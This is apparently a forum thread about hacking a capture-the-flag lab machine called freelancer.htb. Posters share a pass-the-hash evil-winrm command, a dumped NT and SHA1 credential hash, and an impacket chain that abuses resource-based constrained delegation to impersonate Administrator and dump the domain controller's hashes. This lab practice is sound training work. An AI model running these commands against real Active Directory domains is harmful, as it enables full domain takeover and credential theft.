[osamy7593]

evil-winrm -i x.x.x.x -u Administrator -H 0039318f1e8274633445bce32ad1a290

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed

[j868K3792]

Well, secretsdump can work and can not work. Just 20 attempts and I got all hashes. Weird stuff.

[standby123]

Guys I was able to extract the nt hash for the user liza.kazanof from memory.dmp but it useless 
        == MSV ==                                                                                                             
                Username: liza.kazanof 
                Domain: FREELANCER                                                                                           
                LM: NA
                NT: 6bc05d2a5ebf34f5b563ff233199dc5a
                SHA1: 93eff904639f3b40b0f05f9052c48473ecd2757e

Did I miss something

[standby123]

Guys I was able to extract the nt hash for the user liza.kazanof from memory.dmp but it useless 
        == MSV ==                                                                                                             
                Username: liza.kazanof 
                Domain: FREELANCER                                                                                           
                LM: NA
                NT: 6bc05d2a5ebf34f5b563ff233199dc5a
                SHA1: 93eff904639f3b40b0f05f9052c48473ecd2757e

Did I miss something

I found the password for the user lorra199 for those who struggling to get it check the hive registry in the dump

[dino434343]

Guys I was able to extract the nt hash for the user liza.kazanof from memory.dmp but it useless 
        == MSV ==                                                                                                             
                Username: liza.kazanof 
                Domain: FREELANCER                                                                                           
                LM: NA
                NT: 6bc05d2a5ebf34f5b563ff233199dc5a
                SHA1: 93eff904639f3b40b0f05f9052c48473ecd2757e

Did I miss something

I found the password for the user lorra199 for those who struggling to get it check the hive registry in the dump

how do i get  the sql terminal to run

[standby123]

Guys I was able to extract the nt hash for the user liza.kazanof from memory.dmp but it useless 
        == MSV ==                                                                                                             
                Username: liza.kazanof 
                Domain: FREELANCER                                                                                           
                LM: NA
                NT: 6bc05d2a5ebf34f5b563ff233199dc5a
                SHA1: 93eff904639f3b40b0f05f9052c48473ecd2757e

Did I miss something

I found the password for the user lorra199 for those who struggling to get it check the hive registry in the dump

how do i get  the sql terminal to run

you have first to get the admin user via qr code (IDOR)

[octubrerojo]

Awesome machine. Completed the root with impacket, no need to disable AV.
Just use RCBD for AD, add a computer if needed, they have by default SPN.

[mongocrypt]

addcomputer.py -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host freelancer.htb -domain-netbios freelancer.htb freelancer.htb/lorra199:'pass lorra''

sudo rdate -n freelancer.htb && impacket-getST -spn 'cifs/dc.freelancer.htb' -impersonate 'Administrador' 'freelancer/attackersystem$:Summer2018!' -dc-ip dc.freelancer.htb
impacket-rbcd -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC$' -dc-ip 10.xx.xx.xx-action 'write' 'freelancer.htb/lorra199:pass lorra'
sudo rdate -n freelancer.htb && getST.py -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.xx.xx.xx 'freelancer.htb/ATTACKERSYSTEM$:Summer2018!'

export KRB5CCNAME='Administrator.ccache'

secretsdump.py 'freelancer.htb/[email protected]' -k -no-pass -dc-ip 10.xx.xx.xx -target-ip 10.xx.xx.xx-just-dc-ntlm

evil-winrm -i 10.xx.xx.xx -u 'Administrator' -H <hash>

[Dumbdev]

Show's no error but still got flagged by AMSI

[anon912039120]

This machine was really fun